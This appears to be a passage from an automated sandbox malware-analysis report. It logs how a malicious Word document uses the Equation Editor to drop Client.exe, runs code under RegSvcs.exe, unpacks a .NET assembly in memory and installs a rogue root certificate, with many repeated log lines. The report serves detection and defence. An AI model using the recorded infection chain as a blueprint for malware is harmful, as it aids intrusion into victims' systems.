Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR514A.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Client.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\Client.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\Users\user\Desktop\RealProxyFlagsBadSignature.pdb source: Client.exe, 00000009.00000002.928225350.0000000000530000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: c:\Users\Administrator\AppData\Local\Temp\2\Microsoft.CodeAnalysis.Orchestrator.RunnableProjects.Localization.pdb source: Client.exe, 00000009.00000000.911511848.0000000000AC2000.00000020.00000001.01000000.00000003.sdmp, Client.exe, 0000000C.00000000.973051510.0000000001233000.00000020.00000001.01000000.00000003.sdmp, ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr, Client.exe.0.dr
Source:	Binary string: C:\Users\user\Desktop\RealProxyFlagsBadSignature.pdbd source: Client.exe, 00000009.00000002.928225350.0000000000530000.00000004.08000000.00040000.00000000.sdmp

Source: ~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

.NET source code contains potential unpacker

Source: Client.exe.0.dr, CodeAnalysis.Orchestrator.RunnableProjects.Localization/????????????????????????????????????.cs	.Net Code: Main System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 9.0.Client.exe.ac0000.0.unpack, CodeAnalysis.Orchestrator.RunnableProjects.Localization/????????????????????????????????????.cs	.Net Code: Main System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0018C8F8 pushfd ; retf 0018h	2_2_0018C95D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8E0A3 push es; retn 0000h	10_2_00A8E0EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8F0E8 push cs; retn 0000h	10_2_00A8F0EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8E0F3 push es; retn 0000h	10_2_00A8E13A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8E053 push es; retn 0000h	10_2_00A8E09A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00A8E189 push es; retn 0000h	10_2_00A8E18A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B05360 push edi; retn 0000h	10_2_00B05FCA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B008C8 push ds; retn 0000h	10_2_00B00902
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B00820 push ds; retn 0000h	10_2_00B00822
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B00828 push ds; retn 0000h	10_2_00B0086A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B00871 push ds; retn 0000h	10_2_00B00872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B0605E push edi; retn 0000h	10_2_00B0606A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B00738 push ds; retn 0000h	10_2_00B0081A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00B00910 push ds; retn 0000h	10_2_00B0094A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 13_2_0018D080 push 8A000000h; retf	13_2_0018D085
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 13_2_0018D6FF push 180018DCh; iretd	13_2_0018D715
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 21_2_00C28F95 push edi; ret	21_2_00C28F96

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\Client.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Client.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Client.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
